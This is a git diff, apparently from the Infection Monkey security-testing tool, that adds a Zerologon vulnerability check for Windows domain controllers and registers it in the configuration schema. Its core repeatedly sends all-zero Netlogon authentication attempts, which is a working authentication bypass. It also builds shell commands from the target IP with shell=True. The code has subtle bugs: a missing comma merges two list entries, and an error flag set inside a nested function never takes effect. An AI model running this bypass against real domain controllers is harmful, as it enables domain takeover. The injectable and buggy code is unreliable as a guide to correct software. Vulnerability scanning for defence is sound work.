diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py new file mode 100644 index 000000000..6ebaae1e8 --- /dev/null +++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py @@ -0,0 +1,103 @@ +import logging +import subprocess + +from impacket.dcerpc.v5 import epm, nrpc, transport + +import infection_monkey.config +from infection_monkey.network.HostFinger import HostFinger +from infection_monkey.utils.environment import is_windows_os + +LOG = logging.getLogger(__name__) + + +class WindowsServerFinger(HostFinger): + # Class related consts + MAX_ATTEMPTS = 2000 + _SCANNED_SERVICE = "Windows Server" + + def __init__(self): + self._config = infection_monkey.config.WormConfiguration + + def get_host_fingerprint(self, host): + """ + Checks if the Windows Server is vulnerable to Zerologon. + """ + unexpected_error_encountered = False + + def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME): + # Connect to the DC's Netlogon service. + binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + + # Use an all-zero challenge and credential. + plaintext = b'\x00' * 8 + ciphertext = b'\x00' * 8 + + # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. + flags = 0x212fffff + + # Send challenge and authentication request. + nrpc.hNetrServerReqChallenge( + rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext) + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, DC_HANDLE + '\x00', DC_NAME + + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + DC_NAME + '\x00', ciphertext, flags + ) + + # It worked! + assert server_auth['ErrorCode'] == 0 + return rpc_con + + except nrpc.DCERPCSessionError as ex: + if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + pass + else: + LOG.error(f'Unexpected error code: {ex.get_error_code()}.') + unexpected_error_encountered = True + + except BaseException as ex: + LOG.error(f'Unexpected error: {ex}.') + unexpected_error_encountered = True + + return None + + DC_IP = host.ip_addr + DC_NAME = self.get_dc_name(DC_IP) + DC_HANDLE = '\\\\' + DC_NAME + + # Keep authenticating until successful. Expected average number of attempts needed: 256. + LOG.info('Performing Zerologon authentication attempts...') + rpc_con = None + for attempt in range(0, self.MAX_ATTEMPTS): + rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) + if (rpc_con is not None) or (unexpected_error_encountered): + break + + self.init_service(host.services, self._SCANNED_SERVICE, None) + + if rpc_con: + LOG.info('Success: DC can be fully compromised by a Zerologon attack.') + host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True + return True + else: + LOG.info('Failure: Target is either patched or an unexpected error was encountered.') + host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False + return False + + def get_dc_name(self, DC_IP): + """ + Gets NetBIOS name of the DC. + """ + if is_windows_os(): + cmd = f'nbtstat -A {DC_IP} | findstr "<00>"' + name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0] + else: + cmd = f'nmblookup -A {DC_IP} | grep "<00>"' + name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0] + return name diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 6fe5e8fea..405983dc5 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -56,7 +56,6 @@ FINGER_CLASSES = { "info": "Checks if Microsoft SQL service is running and tries to gather information about it.", "attack_techniques": ["T1210"] }, - { "type": "string", "enum": [ @@ -65,6 +64,15 @@ FINGER_CLASSES = { "title": "ElasticFinger", "info": "Checks if ElasticSearch is running and attempts to find it's version.", "attack_techniques": ["T1210"] + }, + { + "type": "string", + "enum": [ + "WindowsServerFinger" + ], + "title": "WindowsServerFinger", + "info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.", + "attack_techniques": ["T1210"] } ] } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index bdbae2461..af562bcc2 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -223,6 +223,7 @@ INTERNAL = { "MySQLFinger", "MSSQLFinger", "ElasticFinger" + "WindowsServerFinger" ] } }